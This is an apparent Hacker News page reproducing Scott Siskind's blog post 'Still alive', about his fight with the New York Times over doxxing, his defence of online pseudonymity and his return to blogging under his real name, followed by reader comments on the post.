Whether they are lowballing candidates with that offer, I can't say.





Historical Discussions: Still alive (January 21, 2021: 875 points)

(876) Still alive

876 points 2 days ago by Lewton in 10000th position

astralcodexten.substack.com | Estimated reading time – 35 minutes | comments | anchor

I.

This was a triumph I'm making a note here, huge success

No, seriously, it was awful. I deleted my blog of 1,557 posts. I wanted to protect my privacy, but I ended up with articles about me in New Yorker, Reason, and The Daily Beast. I wanted to protect my anonymity, but I Streisand-Effected myself, and a bunch of trolls went around posting my real name everywhere they could find. I wanted to avoid losing my day job, but ended up quitting so they wouldn't be affected by the fallout. I lost a five-digit sum in advertising and Patreon fees. I accidentally sent about three hundred emails to each of five thousand people in the process of trying to put my blog back up.

I had, not to mince words about it, a really weird year.

513,000 people read my blog post complaining about the New York Times' attempt to dox me (for comparison, there are 366,000 people in Iceland). So many people cancelled their subscription that the Times' exasperated customer service agents started pre-empting callers with 'Is this about that blog thing?' A friend of a friend reports her grandmother in Slovakia heard a story about me on Slovak-language radio.

I got emails from no fewer than four New York Times journalists expressing sympathy and offering to explain their paper's standards in case that helped my cause. All four of them gave totally different explanations, disagreeing about whether the reporter I dealt with was just following the rules, was flagrantly violating the rules, was unaffected by any rules, or what. Seems like a fun place to work. I was nevertheless humbled by their support.

I got an email from Balaji Srinivasan, a man whose anti-corporate-media crusade straddles a previously unrecognized border between endearing and terrifying. He had some very creative suggestions for how to deal with journalists. I'm not sure any of them were especially actionable, at least not while the Geneva Convention remains in effect. But it was still a good learning experience. In particular, I learned never to make an enemy of Balaji Srinivasan. I am humbled by his support.

I got emails from two different prediction aggregators saying they would show they cared by opening markets into whether the Times would end up doxxing me or not. One of them ended up with a total trade volume in the four digits. For a brief moment, I probably had more advanced decision-making technology advising me in my stupid conflict with a newspaper than the CIA uses for some wars. I am humbled by their support.

I got an email from a very angry man who believed I personally wrote the entirety of Slate.com. He told me I was a hypocrite for wanting privacy even though Slate.com had apparently published some privacy-violating stories. I tried to correct him, but it seemed like his email client only accepted replies from people on his contact list. I think this might be what the Catholics call 'invincible ignorance'. But, uh, I'm sure if we got a chance to sort it out I would have been humbled by his support.

I got an email from a former member of the GamerGate movement, offering advice on managing PR. It was very thorough and they had obviously put a lot of effort into it, but it was all premised on this idea that GamerGate was some kind of shining PR success, even though as I remember it they managed to take a complaint about a video game review and mishandle it so badly that they literally got condemned by the UN General Assembly. But it's the thought that counts, and I am humbled by their support.

I got an email from a Russian reader, which I will quote in full: 'In Russia we witnessed similar things back in 1917. 100 years later the same situation is in your country :)'. I am not sure it really makes sense to compare my attempted doxxing to the Bolshevik Revolution, and that smiley face will haunt my dreams, but I am humbled by his support.

Eventually it became kind of overwhelming. 7500 people signed a petition in my favor. Russia Today wrote an article about my situation as part of their propaganda campaign against the United States. Various tech figures started a campaign to stop granting interviews to NYT in protest. All of the humbling support kind of blended together. At my character level, I can only cast the spell Summon Entire Internet once per decade or so. So as I clicked through email after email, I asked myself: did I do the right thing?

II.

I'm not even angry I'm being so sincere right now

Before we go any further: your conspiracy theories are false. An SSC reader admitted to telling a New York Times reporter that SSC was interesting and he should write a story about it. The reporter pursued the story on his recommendation. It wasn't an attempt by the Times to crush a competitor, it wasn't retaliation for my having written some critical things about the news business, it wasn't even a political attempt to cancel me. Someone just told a reporter I would make a cool story, and the reporter went along with it.

Nor do I think it was going to be a hit piece, at least not at first. I heard from most of the people who the Times interviewed. They were mostly sympathetic sources, the interviewer asked mostly sympathetic questions, and someone who knows New York Times reporters says the guy on my case was their non-hit-piece guy; they have a different reporter for hatchet jobs. After I torched the blog in protest, they seem to have briefly flirted with turning it into a hit piece, and the following week they switched to interviewing everyone who hated me and asking a lot of leading questions about potentially bad things I did. My contacts in the news industry said even this wasn't necessarily sinister. They might have assumed I had something to hide, and wanted to figure out what it was just in case it was a better story than the original. Or they might have been deliberately interviewing friendly sources first, in order to make me feel safe so I would grant them an interview, and then moved on to the unfriendly ones after they knew that wouldn't happen. I'm not sure. But the pattern doesn't match 'hit piece from the beginning'.

As much crappy political stuff as there is in both the news industry and the blogsphere these days, I don't think this was a left-right political issue. I think the New York Times wanted to write a fairly boring article about me, but some guideline said they had to reveal subjects' real identities, if they knew them, unless the subject was in one of a few predefined sympathetic categories (eg sex workers). I did get to talk to a few sympathetic people from the Times, who were pretty confused about whether such a guideline existed, and certainly it's honored more in the breach than in the observance (eg Virgil Texas). But I still think the most likely explanation for what happened was that there was a rule sort of like that on the books, some departments and editors followed it more slavishly than others, and I had the bad luck to be assigned to a department and editor that followed it a lot. That's all. Anyway, they did the right thing and decided not to publish the article, so I have no remaining beef with them.

(aside from the sorts of minor complaints that Rob Rhinehart expresses so eloquently here)

I also owe the Times apologies for a few things I did while fighting them. In particular, when I told them I was going to delete the blog if they didn't promise not to dox me, I gave them so little warning that it probably felt like a bizarre ultimatum. At the time I was worried if I gave them more than a day's warning, they could just publish the story while I waited; later, people convinced me the Times is incapable of acting quickly and I could have let them think about it for longer.

Also, I asked you all to email an NYT tech editor with your complaints. I assumed NYT editors, like Presidents and Senators, had unlimited flunkies sorting through their mailbags, and would not be personally affected by any email deluge. I was wrong and I actually directed a three to four digit number of emails to the personal work inbox of some normal person with a finite number of flunkies. That was probably pretty harrowing and I'm sorry.

As for the Times' mistakes: I think they just didn't expect me to care about anonymity as much as I did. In fact, most of my supporters, and most of the savvy people giving me advice, didn't expect me to care as much as I did. Maybe I should explain more of my history here: back in the early 2010s I blogged under my real name. When I interviewed for my dream job in psychiatry, the interviewer had Googled my name, found my blog, and asked me some really pointed questions about whether having a blog meant I was irresponsible and unprofessional. There wasn't even anything controversial on the blog - this was back in the early 2010s, before they invented controversy. They were just old-school pre-social-media-era people who thought having a blog was fundamentally incompatible with the dignity of being a psychiatrist. I didn't get that job, nor several others I thought I was a shoo-in for. I actually failed my entire first year of ACGME match and was pretty close to having to give up on a medical career. At the time I felt like that would mean my life was over.

So I took a bunch of steps to be in a better position for the next year's round of interviews, and one of the most important was deleting that blog, scrubbing it off the Web as best I could, and restarting my whole online presence under a pseudonym. I was never able to completely erase myself from the Internet, but I made some strategic decisions - like leaving up a bunch of older stuff that mentioned my real name so that casual searchers would find that instead of my real blog. The next year, I tried the job interview circuit again and got hired.

But I still had this really strong sense that my career hung on this thread of staying anonymous. Sure, my security was terrible, and a few trolls and malefactors found my real name online and used it to taunt me. But my attendings and my future employers couldn't just Google my name and find it immediately. Also, my patients couldn't Google my name and find me immediately, which I was increasingly realizing the psychiatric community considered important. Therapists are supposed to be blank slates, available for patients to project their conflicts and fantasies upon. Their distant father, their abusive boyfriend, their whatever. They must not know you as a person. One of my more dedicated professors told me about how he used to have a picture of his children on a shelf in his office. One of his patients asked him whether those were his children. He described suddenly realizing that he had let his desire to show off overcome his duty as a psychiatrist, mumbling a noncommital response lest his patient learn whether he had children or not, taking the picture home with him that night, and never displaying any personal items in his office ever again. That guy was kind of an extreme case, but this is something all psychiatrists think about, and better pychiatrist-bloggers than I have quit once their side gig reached a point where their patients might hear about it. There was even a very nice and nuanced article about the phenomenon in - of all places - The New York Times.

After all that, yeah, I had a phobia of being doxxed. But psychotherapy classes also teach you to not to let past traumas control your life even after they've stopped being relevant. Was I getting too worked up over an issue that no longer mattered?

The New York Times thought so. Some people kept me abreast of their private discussions (in Soviet America, newspaper's discussions get leaked to you!) and their reporters had spirited internal debates about whether I really needed anonymity. Sure, I'd gotten some death threats, but everyone gets death threats on the Internet, and I'd provided no proof mine were credible. Sure, I might get SWATted, but realistically that's a really scary fifteen seconds before the cops apologize and go away. Sure, my job was at risk, but I was a well-off person and could probably get another. Also, hadn't I blogged under my real name before? Hadn't I published papers under my real name in ways that a clever person could use to unmask my identity? Hadn't I played fast and loose with every form of opsec other than whether the average patient or employer could Google me in five seconds?

Some of the savvy people giving me advice suggested I fight back against this. Release the exact death threats I'd received and explain why I thought they were scary. Play up exactly how many people lived with me and exactly why it would be traumatic for them to get SWATted. Explain exactly how seriously it would harm my patients if I lost my job. Say why it was necessary for my career to publish those papers under my real name.

Why didn't I do this? Partly because it wasn't true. I don't think I had particularly strong arguments on any of these points. The amount I dislike death threats is basically the average amount that the average person would dislike them. The amount I would dislike losing my job...and et cetera. Realistically, my anonymity let me feel safe and comfortable. But it probably wasn't literally necessary to keep me alive. I feel bad admitting this, like I conscripted you all into a crusade on false pretenses. Am I an entitled jerk for causing such a stir just so I can feel safe and comfortable? I'm sure the New York Times customer service representatives who had to deal with all your phone calls thought so.

But the other reason I didn't do it was...well, suppose Power comes up to you and says hey, I'm gonna kick you in the balls. And when you protest, they say they don't want to make anyone unsafe, so as long as you can prove that kicking you in the balls will cause long-term irrecoverable damage, they'll hold off. And you say, well, it'll hurt quite a lot. And they say that's subjective, they'll need a doctor's note proving you have a chronic pain condition like hyperalgesia or fibromyalgia. And you say fine, I guess I don't have those, but it might be dangerous. And they ask you if you're some sort of expert who can prove there's a high risk of organ rupture, and you have to admit the risk of organ rupture isn't exactly high. But also, they add, didn't you practice taekwondo in college? Isn't that the kind of sport where you can get kicked in the balls pretty easily? Sounds like you're not really that committed to this not-getting-kicked-in-the-balls thing.

No! There's no dignified way to answer any of these questions except 'fuck you'. Just don't kick me in the balls! It isn't rocket science! Don't kick me in the fucking balls!

In the New York Times' worldview, they start with the right to dox me, and I had to earn the right to remain anonymous by proving I'm the perfect sympathetic victim who satisfies all their criteria of victimhood. But in my worldview, I start with the right to anonymity, and they need to make an affirmative case for doxxing me. I admit I am not the perfect victim. The death threats against me are all by losers who probably don't know which side of a gun you shoot someone with. If anything happened at work, it would probably inconvenience me and my patients, but probably wouldn't literally kill either of us. Still! Don't kick me in the fucking balls!

I don't think anyone at the Times bore me ill will, at least not originally. But somehow that just made it even more infuriating. In Street Fighter, the hero confronts the Big Bad about the time he destroyed her village. The Big Bad has destroyed so much stuff he doesn't even remember: 'For you, the day [I burned] your village was the most important day of your life. For me, it was Tuesday.' That was the impression I got from the Times. They weren't hostile. I wasn't a target they were desperate to take out. The main emotion I was able to pick up from them was annoyance that I was making their lives harder by making a big deal out of this. For them, it was Tuesday.

It's bad enough to get kicked in the balls because Power hates you. But it's infuriating to have it happen because Power can't bring itself to care. So sure, deleting my blog wasn't the most, shall we say, rational response to the situation. But iterated games sometimes require a strategy that deviates from apparent first-level rationality, where you let yourself consider lose-lose options in order to influence an opponent's behavior.

Or, in layman's terms, sometimes you have to be a crazy bastard so people won't walk all over you.

In 2010, a corrupt policewoman demanded a bribe from impoverished pushcart vendor Mohammed Bouazizi. He couldn't afford it. She confiscated his goods, insulted him, and (according to some sources) slapped him. He was humiliated and destitute and had no hope of ever getting back at a police officer. So he made the very reasonable decision to douse himself in gasoline and set himself on fire in the public square. One thing led to another, and eventually a mostly-peaceful revolution ousted the government of Tunisia. I am very sorry for Mr. Bouazizi and his family. But he did find a way to make the offending policewoman remember the day she harassed him as something other than Tuesday. As the saying goes, 'sometimes setting yourself on fire sheds light on the situation'.

III.

As I burned it hurt because I was so happy for you

But as I was thinking about all this, I got other emails. Not just the prediction aggregators and Russians and so on; emails of a totally different sort.

I got emails from other people who had deleted their blogs out of fear. Sometimes it was because of a job search. Other times it was because of *gestures expansively at everything*. These people wanted me to know they sympathized with what I was going through.

I got emails from people who hadn't deleted their blogs, but wished they had. A lot of them had stories like mine - failed an interview they should have aced, and the interviewer mentioned their blog as an issue. These people sympathized too.

I got emails that were like that, only it was grad students. Apparently if you have a blog about your field, that can make it harder to get or keep a job in academia. I'm not sure what we think we're gaining by ensuring the smartest and best educated people around aren't able to talk openly about the fields they're experts in, but I hope it's worth it.

I got an email from a far-left blogger with a similar story, which got me thinking about socialists in particular. Imagine you're writing a socialist blog - as is 100% your right in a democratic society. Aren't employers going to freak out as soon as they Google your name, expecting you to start a union or agitate for higher wages or seize the means of production or something? This is a totally different problem from the cancel culture stories I usually hear about, but just as serious. How are you supposed to write about communism in a world where any newspaper can just figure out your real name, expose you, and lock you out of most normal jobs?

I got emails from some transgender bloggers, who talked about how trans people go by something other than their legal name and have a special interest in not getting outed in the national news. I don't think the Times would deliberately out trans people - probably there's some official policy against it. But the people emailing me understood that we're all in this together, and that if oppressed people don't stand up for the rights of the privileged, no one will. Or something. Man, it's been a weird year.

I got an email telling me to look into the story of Richard Horton, a police officer in the UK. He wrote a blog about his experience on the force which was by all accounts incredible - it won the Orwell Prize for being the best political writing in Britain that year. The Times (a British newspaper unrelated to NYT) hacked his email and exposed his real identity, and his chief forced him to delete the blog in order to keep his job. I wonder whether maybe if police officers were allowed to write anonymously about what was going on without getting doxxed by newspapers, people wouldn't have to be so surprised every time something happens involving the police being bad. See for example The Impact Of The Cessation Of Blogs Within The UK Police Blogosphere, a paper somebody apparently needed to write.

I got an email telling me to look into the story of Naomi Wu, a Chinese woman who makes videos about engineering and DIY tech projects under the name SexyCyborg. She granted an interview to a Vice reporter under the condition that he not reveal some sensitive details of her personal life which could get her in trouble with the Chinese authorities. Vice agreed, then revealed the details anyway (who could have guessed that a webzine founded by a violent neo-fascist leader and named after the abstract concept of evil would stoop so low?) In a Medium post, Wu wrote that 'Vice would endanger me for a few clicks because in Brooklyn certain things are no big deal...I had no possible recourse against a billion dollar company who thought titillating their readers with my personal details was worth putting me in jeopardy.' She then went on to dox the Vice reporter involved, Which Was Morally Wrong And I Do Not Condone It - but also led to some interesting revelations about how much more journalists cared when it's one of their own and not just some vulnerable woman in a dictatorship.

Getting all these emails made me realize that, whatever the merits of my own case, maybe by accident, I was fighting for something important here. Who am I? I'm nobody, I'm a science blogger with some bad opinions. But these people - the trans people, the union organizers, the police whistleblowers, the sexy cyborgs - the New York Times isn't worthy to wipe the dirt off their feet. How dare they assert the right to ruin these people's lives for a couple of extra bucks.

...but I was also grateful to get some emails from journalists trying to help me understand the perspective of their field. They point out that reporting is fundamentally about revealing information that wasn't previously public, and hard-hitting reporting necessarily involves disclosing things about subjects that they would rather you not know. Speculating on the identities of people like Deep Throat, or Satoshi Nakamoto, or QAnon, or that guy who wrote Primary Colors, is a long-standing journalistic tradition, one I had never before thought to question. Many of my correspondents brought up that some important people read my blog (Paul Graham was the most cited name). Isn't there a point past which you stop being that-guy-with-a-Tumblr-account who it's wrong to dox, and you become more like Satoshi Nakamoto where trying to dox you is a sort of national sport? Wouldn't it be fair to say I had passed that point?

With all due respect to these reporters, and with complete admission of my own bias, I reject this entire way of looking at things. If someone wants to report that I'm a 30-something psychiatrist who lives in Oakland, California, that's fine, I've had it in my About page for years. If some reporter wants to investigate and confirm, I have some suggestions for how they could use their time better - isn't there still a war in Yemen? - but I'm not going to complain too loudly. But I don't think whatever claim the public has on me includes a right to know my name if I don't want them to. I don't think the public needs to know the name of the cops who write cop blogs, or the deadnames of trans people, or the dating lives of sexy cyborgs. I'm not even sure the public needs to know the name of Satoshi Nakamoto. If he isn't harming anyone, let him have his anonymity! I would rather we get whatever pathologies come from people being able to invent Bitcoin scot-free, than get whatever pathologies come from anyone being allowed to dox anyone else if they can argue that person is 'influential'. Most people don't start out trying to be influential. They just have a Tumblr or a LiveJournal or something, and a few people read it, and then a few more people read it, and bam! - they're influential! If influence takes away your protection, then none of us are safe - not the random grad student with a Twitter account making fun of bad science, not the teenager with a sex Tumblr, not the aspiring fashionista with an Instagram. I've read lots of interesting discussion on how much power tech oligarchs should or shouldn't be allowed to have. But this is the first time I've seen someone suggest their powers should include a magic privacy-destroying gaze, where just by looking at someone they can transform them into a different kind of citizen with fewer rights. Is Paul Graham some weird kind of basilisk, such that anyone he stares at too long turns into fair game?

And: a recent poll found that 62% of people feel afraid to express their political beliefs. This isn't just conservatives - it's also moderates (64%), liberals (52%) and even many strong liberals (42%). This is true even among minority groups, with more Latinos (65%) feeling afraid to speak out than whites (64%), and blacks (49%) close behind. 32% of people worry they would be fired if their political views became generally known, including 28% of Democrats and 38% of Republicans. Poor people and Hispanics were more likely to express this concern than rich people and whites, but people with post-graduate degrees have it worse than any other demographic group.

And the kicker is that these numbers are up almost ten percentage points from the last poll three years ago. The biggest decline in feeling safe was among 'strong liberals', who feel an entire 12 percentage points less safe expressing their opinion now than way back in the hoary old days of 2017. What happens in a world where this trend continues? Does everyone eventually feel so unsafe that we completely abandon the public square to professional-opinion-havers, talking heads allowed to pontificate because they have the backing of giant institutions? What biases does that introduce to the discussion? And if we want to avoid that, is there any better way then a firm stance that people's online pseudonymity is a basic right, not to be challenged without one hell of a compelling public interest? Not just 'they got kinda big, so now we can destroy them guilt-free', but an actual public interest?

I'm not trying to convince the New York Times - obviously it would very much fit their business plan if we came to rely on professional-opinion-havers backed by big institutions. I'm trying to convince you, the average Internet person. For the first ten or twenty years of its history, the Internet had a robust norm against doxxing. You could troll people, you could Goatse or Rickroll them, but doxxing was beyond the pale. One of the veterans of this era is Lawrence Lessig, who I was delighted to see coming to my defense. We've lost a lot of that old Internet, sold our birthright to social media companies and content providers for a few spurts of dopamine, but I think this norm is still worth protecting.

If me setting myself on fire got the New York Times to rethink some of its policies, and accidentally helped some of these people win their own fights, it was totally worth it.

IV.

Now these points of data make a beautiful line And we're out of beta, we're releasing on time So I'm glad I got burned Think of all the things we learned For the people who are still alive

There's a scene in Tom Sawyer where Tom runs away from town and is presumed dead. He returns just as they're holding his funeral, and gets to listen to everyone praise his life and talk about how much they loved him. Seems like a good deal. Likewise, Garrison Keillor said that - since they say such nice things at people's funerals - it was a shame he was going to miss his own by just a few days.

After deleting the blog I felt like I was attending my own funeral. I asked people to send the Times emails asking them not to publish the article. Some people ccd me on them. These weren't just 'Dear NYT, please do not dox this blogger, yours, John'. Some of them were a bit over-the-top. I believe a few of them may have used the words 'national treasure'. I can only hope the people at my real funeral are as kind.

Other people just sent me the over-the-top emails directly. I got emails from people in far-away, very poor countries, telling me that there was nothing at all like a rationalist movement in their countries and my blog was how they kept up with the intellectual currents of a part of the world they might never see. I am humbled to be able to help them.

I got emails from medical interns and residents, telling me they enjoyed hearing about my experiences in medicine. You guys only have like three minutes of free time a week, and I am humbled that you would spend some of it reading me.

I got emails from people saying I was one of their inspirations for going into science academia. I am so, so, sorry. I am humbled by their continued support even after I ruined their lives.

I got emails from people in a host of weird and difficult situations, telling me about how reading my blog was the only thing that kept them sane through difficult times. One woman insisted that I start blogging before she got pregnant again because I was her postpartum coping strategy. I hope I've made it in time - but in any case I am humbled by their support.

I got emails from couples, saying that reading my blog together once a week was their romantic bonding activity. Again, I hope I've restarted in time, before anyone's had to divorce. They are very cute and I am humbled by their support.

And more along the same lines, and some even more humbling than these. I want to grab some of you by the shoulders and shake you and shout 'IT'S JUST A BLOG, GET A LIFE'. But of course I would be a hypocrite. I remember back to when I was a new college graduate, desperately trying to make sense of the world. I remember the sheer relief when I came across a few bloggers - I most clearly remember Eliezer Yudkowsky - who seemed to be tuned exactly to my wavelength, people who were making sense when the entire rest of the world was saying vague fuzzy things that almost but not quite connected with the millions of questions I had about everything. These people weren't perfect, and they didn't have all the answers, but their existence reassured me that I wasn't crazy and I wasn't alone. I was an embarrassing fanboy of theirs for many years - I kind of still am - and if my punishment is to have embarassing fanboys of my own then I accept it as part of the circle of life.

And also - I am maybe the worst person possible to argue that this doesn't matter. Almost everything good in my life I've gotten because of you. I met most of my friends through blogging. I met my housemates, who are basically my family right now, through blogging. I got introduced to my girlfriend by someone I know through blogging. My patients are doing better than they could be - some of them vastly better - because of things I learned from all of you in the process of blogging. Most of the intellectual progress I've made over the past ten years has been following up on leads people sent me because of my blogging. To the degree that the world makes sense to me, to the degree that I've been able to untie some of the thornier knots and be rewarded with the relief of mental clarity, a lot of it has been because of things I learned while blogging. However many over-the-top dubious claims you want to make about how much I have improved your life, I will one-up you with how much you have improved mine. And after reading a few hundred of your emails, I've realized, crystal-clear, that I am going to be spending the rest of my life trying to deserve even one percent of the love you've shown and the gifts you've given me.

So I've taken the steps I need to in order to feel comfortable revealing my real name online. I talked to an aggressively unhelpful police officer about my personal security. I got advice from people who are more famous than I am, who have allayed some fears and offered some suggestions. Some of the steps they take seem extreme - the Internet is a scarier place than I thought - but I've taken some of what they said to heart, rejected the rest in a calculated way, and realized realistically I was never that protected anyhow. So here we are.

And I left my job. They were very nice about it, they were tentatively willing to try to make it work. But I just don't think I can do psychotherapy very well while I'm also a public figure, plus people were already calling them trying to get me fired and I didn't want to make them deal with more of that.

As I was trying to figure out how this was going to work financially, Substack convinced me that I could make decent money here. With that in place, I felt like I could also take a chance on starting my dream business. You guys have had to listen to me write ad nauseum about cost disease - why does health care cost 4x times more per capita than it did just a generation ago? I have a lot of theories about why that happened and how to fix it. But as Feynman put it, 'what I cannot create I cannot understand'. So I'm going to try to start a medical practice that provides great health care to uninsured people for 4x less than what anyone else charges. If it works, I plan to be insufferable about it. If it doesn't, I can at least have a fun conversation with Alex Tabarrok about where our theories went wrong. Since I'm no longer protecting my anonymity, I can advertise it here - Lorien Psychiatry - though I'm not currently accepting blog readers as patients, sorry.

That's taken up most of my time over the past six months. Going back to blog posts like this is a strange feeling. I wondered if I'd enjoy the break. I didn't particularly; it felt at least as much like trying to resist an addiction as it did resting from a difficult task. There's so much left to say! I never got the chance to tell you whether the SSC Survey found birth order effects to be biologically or socially mediated! And the predictive processing community is starting to really chip away at the question of why psychotherapies work - I need to explain this to someone else before I can be sure I understand it! I only discovered taxometrics a few months ago and I haven't talked your ears off about it yet - that will change! I made predictions about Trump - now that he's come and gone I need to grade them publicly so you can raise or lower your opinion of me as appropriate! And there's the book review contest! We are absolutely going to do the book review contest!

So here goes. With malice towards none, with charity towards all, with firmness in the ṛta as reflective equilibrium gives us to see the ṛta, let us restart our mutual explorations, begin anew the joyful reduction of uncertainty wherever it may lead us.

My name is Scott Siskind, and I love all of you so, so much.

But look at me, still talking when there's Science to do When I look out there it makes me glad I've got you I've experiments to run, there is research to be done On the people who are still alive And believe me I am still alive I'm doing science and I'm still alive I feel fantastic and I'm still alive Still alive




All Comments: [-] | anchor

morpheuskafka(10000) 2 days ago [-]

> I got emails that were like that, only it was grad students. Apparently if you have a blog about your field, that can make it harder to get or keep a job in academia. I'm not sure what we think we're gaining by ensuring the smartest and best educated people around aren't able to talk openly about the fields they're experts in, but I hope it's worth it.

This is very concerning, because it lends credence to the general public's idea of an 'ivory tower,' as well as academia's own idea that it can somehow achieve perfect neutrality through apersonality.

umvi(10000) 2 days ago [-]

I'm still not sure what this means though. Just that if you keep a blog your political leanings might slip out, which will cause you to get fired if you are discovered to hold conservative views?

gumby(10000) 2 days ago [-]

The reason doesn't have to be political (at least in the sense of national politics). It could be something more prosaic: 'if morpheuskafka writes about string theory and conference interactions they could just as well write something negative about how things are done around here.'

And in fact morpheuskafka could write something negative about their institution, even (and most likely) accidentally. But then again morpheuskafka could write something positive about their institution, even (and most likely) deliberately.

jakobgreenfeld(10000) 2 days ago [-]

From my personal experience this is 100% true.

If you have time to write blog posts, you're obviously not serious enough about your research. That's the general sentiment.

cauthon(10000) 2 days ago [-]

Hi, I work in academia and disagree with the author's take.

My admittedly anecdotal experience doesn't support that. The worst perception I can think of would be a (likely older) PI wondering why you're writing blog posts instead of papers. Blogs are generally seen favorably - they can be a friendly introduction to your work or act as a knowledge base/wiki for how-tos or popular tools.

I know many professors who blog frequently and/or encourage trainees to have a personal website; a PI I work with now has a blog and encourages his members, particularly the junior ones, to contribute for the exposure; and I have multiple grad school friends who blog regularly - so far without negative consequence.

Also, if you want to consider twitter "microblogging", it only takes a few minutes of browsing scitwitter to debunk the idea that scientists don't talk about their field online (even unprofessionally). It's really the only thing they talk about.

caterama(10000) 2 days ago [-]

This is also concerning because it contradicts the general sentiment here on HN that You Should Be Blogging. Maybe you shouldn't... or at very least, there's more to consider than first appears.

bedobi(10000) 2 days ago [-]

Downvote away, but I really don't understand why psuedo-intellectuals who write pretentious posts full of meaningless nonsense are so popular on HackerNews.

This guy runs a psychiatry called 'Lorien', lives in a group-housing-community called 'Valinor', and spams 'rationalist' neckbeard blog posts on the internet.

Does that seem like a well-adjusted individual you would entrust your treatment resistant depression, let alone mental health in general to?

I don't know about you, but to me it seems like a comical case of the psychiatrist being the one who's in need of help.

+ psychiatry and mental health aside, are his opinions on all the countless fields and topics he writes about (in implied expert capacity) worth listening to? Keep in mind, each of those fields and topics have plenty of actual experts to go around. (eg in Economics, take a pick from the dozens of top economists in the IGM Expert panel https://www.igmchicago.org/igm-economic-experts-panel)

DaniloDias(10000) 2 days ago [-]

It's clear you don't like it.

It's weird that you are mad others do.

In what way does it traumatize you that other people like and shared a thing?

hcta(10000) 2 days ago [-]

Huh? This just seems like a bunch of name-calling.

> I don't know about you, but to me it seems like a comical case of the psychiatrist being the one who's in need of help.

In what way? Can you spell it out a little? What about 'Lorien', 'Valinor' and rationalist blog posts indicates a problem?

AYBABTME(10000) 2 days ago [-]

Here's why I think the author is interesting. Their writing style is easy to read, flows well, is funny, and brings up and applies interesting concepts.

And here's why your comment is interesting: in calling the author a pseudo-intellectual who writes pretentiously, you're actually taking a pretentious position, judging the author's value based on your belief of what is good taste, what is an expert, and what makes for a well-adjusted individual. And that's interesting, exhibiting the features exactly as you criticize them.

reducesuffering(10000) 2 days ago [-]

"Psuedo-intellectual?" I'd spell pseudo right before criticizing someone that way.

You can disagree with Scott and think he's wrong all you want. Still, I have difficulty believing you truly think his writing isn't bounds more intellectual, across a wide breadth of topics, than most people professing anything deemed intellectual.

latte(10000) about 20 hours ago [-]

If I understand correctly, by 'well-adjusted' you mean 'a person who has no evident quirks' (like being a Tolkien fan to the extent of naming your practice Lorien, or blogging extensively in a way that can be perceived as pseudo-intellectual or pretentious).

Why do you think it's important for a person to be 'well-adjusted' in order to be trusted? Why do you believe that a person who has visible quirks cannot be trusted as a mental health professional (or even needs help himself)?

Does the same thinking apply in your eyes to other professions? Would you likewise distrust, for example, a quirky lawyer, or a quirky manager?

ccarterlandis(10000) 2 days ago [-]

> psuedo-intellectuals

This is so deliciously ironic.

> runs a psychiatry called 'Lorien', lives in a group-housing-community called 'Valinor'

Um...okay? What's your point? That those are funny names? No one gives a damn what they're called, and I fail to see what the problem is with running a psychiatry or living in a housing community. Do you also hate on ophthalmologists that run their own firms and college students living in community dorms too? Or what about all those monks and nuns that live in group housing and also practice medicine? Nothing about either of those things implies any amount of instability, or lack of adjustment.

> are his opinions on all the countless fields and topics he writes about (in implied expert capacity) worth listening to?

I don't think anyone is arguing that Scott is necessarily an expert of many of the subjects he covers, least of all himself. I think he's made it abundantly clear over the years that this is a side gig for him that he does for fun, and do broaden his understanding of the world. Even if he isn't an 'expert', that doesn't mean he can't still do research and blog about it. Do you think that no one should ever talk or write about anything that they are not a world-class expert in? Cause that sounds really, really boring, and also basically impossible. From the first post on his new blog[0]:

> And finally, the highlight of my last blog was its loyal and active readership, who constantly corrected my errors, resolved my lingering questions, and inspired most of 'my' best ideas.

To me, this doesn't sound like something a world-class expert would be saying. But hey, I'm not an expert on experts, so my opinion is invalid, right?

It's not my intent to convince you to like him, but I think you are exactly the type of person Scott had in mind when he wrote his first ever SSC post about emphasizing charity over absurdity[1]. It's okay if you don't like Scott's writing, and it's okay if you don't think he's worth listening to, but I just hope you slow down and try to genuinely understand why people might like his writing, and focus on those reasons for your argument instead of leaving an inflammatory comment making only very surface-level arguments. I would very much like to practice charity as well and genuinely understand why you don't like his writing, but when your argument boils down to 'he's a neckbeard blogger who has opinions about many things', you're not giving me much to work with.

[0]: https://astralcodexten.substack.com/p/youre-probably-wonderi... [1]: https://slatestarcodex.com/2013/02/12/youre-probably-wonderi...

cwkoss(10000) 2 days ago [-]

'I've read lots of interesting discussion on how much power tech oligarchs should or shouldn't be allowed to have. But this is the first time I've seen someone suggest their powers should include a magic privacy-destroying gaze, where just by looking at someone they can transform them into a different kind of citizen with fewer rights. Is Paul Graham some weird kind of basilisk, such that anyone he stares at too long turns into fair game?'

This is an interesting concept that I haven't heard discussed by society much, but seems like its true. The powerful have the ability to make someone go viral without their consent.

TeMPOraL(10000) 2 days ago [-]

And it's not even an ability they wield themselves - it happens by association. So you can't just go and ask 'pg, would you please not look directly at Scott - it's the journalists noticing, 'hey, he has celebrities in his fanbase', and using this as an argument why he himself is of public interest.

Essentially second-order paparazzism.

legerdemain(10000) 2 days ago [-]

  > Therapists are supposed to be blank slates, available
  > for patients to project their conflicts and fantasies
  > upon. Their distant father, their abusive boyfriend,
  > their whatever. They must not know you as a person.
I don't read Slate Star Codex, nor do I visit a therapist. I don't know if this is something that's peculiar to the author, or genuinely universal among therapists. But it sounds nuts and... kind of creepy? I'm happy to believe in a culture of professional detachment among therapists and doctors, but to believe that you are a blank slate seems kind of delusional.

The therapist has some perceived race, gender, and age. They dress a certain way. They have a certain accent when speaking. Patients may prefer a male or female therapist, or a therapist who shares some other background with them. Patients probably want the confidence that their therapist will not dismiss their concerns and will actually help them make progress.

At this point calling the relationship a 'blank slate' seems delusional. Sure, maybe the therapist is such a perfect mimic that they're not actually female, middle-aged, Black, or have experience working with trans patients. Maybe this is all just a mirage projected by their professionalism. Maybe there is no therapist, and I'm just sitting on a couch alone, in an empty room.

Smaug123(10000) 2 days ago [-]

He does say 'is supposed to be'. He's describing some kind of ideal to live up to, not the way anything can actually be once you get down to messy reality.

DanBC(10000) 2 days ago [-]

You're right, and this very polite lack of awareness of race is one of the huge problems with his writing.

Lack of cultural competence causes huge problems for black people who seek mental health treatment. The answer is emphatically not this blank state stuff, but more awareness.

emtel(10000) 2 days ago [-]

Did you read the rest of the paragraph that this quote is from? He goes into quite a bit more detail about this and provides several links if you want to learn more.

nostrademons(10000) 2 days ago [-]

